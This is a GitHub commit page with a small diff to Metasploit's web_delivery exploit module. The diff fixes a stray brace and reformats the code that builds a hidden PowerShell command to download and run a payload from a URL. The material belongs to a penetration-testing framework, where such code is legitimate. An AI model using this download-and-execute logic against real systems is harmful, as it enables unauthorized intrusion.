Skip to content

Commit 02a2839

Browse files
committed
fix my comments from rapid7#8933
1 parent f7e2fb3 commit 02a2839

File tree

1 file changed

+2
-5
lines changed

1 file changed

+2
-5
lines changed

modules/exploits/multi/script/web_delivery.rb

Lines changed: 2 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -163,16 +163,13 @@ def gen_psh(url, *method)
163163
file = %Q(echo (#{path}+'\\#{filename}'))
164164

165165
# Generate download PowerShell command
166-
download_string = Rex::Powershell::PshMethods.download_run(url, file})
166+
download_string = Rex::Powershell::PshMethods.download_run(url, file)
167167
end
168168

169169
download_and_run = "#{ignore_cert}#{download_string}"
170170

171171
# Generate main PowerShell command
172-
return generate_psh_command_line(noprofile: true,
173-
windowstyle: 'hidden',
174-
command: download_and_run
175-
)
172+
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
176173
end
177174

178175

0 commit comments

Comments
 (0)